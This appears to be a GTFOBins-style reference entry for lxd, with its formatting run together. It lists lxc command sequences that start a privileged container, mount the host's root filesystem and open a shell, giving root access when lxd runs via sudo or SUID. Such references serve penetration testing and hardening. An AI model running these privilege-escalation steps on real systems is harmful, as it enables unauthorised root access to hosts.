lxd
Shell
This executable can spawn an interactive system shell.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.lxc init ubuntu:16.04 x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/shThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lxc init ubuntu:16.04 x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/sh - This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.lxc image import ./alpine*.tar.gz --alias x lxc init x x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/shThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lxc image import ./alpine*.tar.gz --alias x lxc init x x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/sh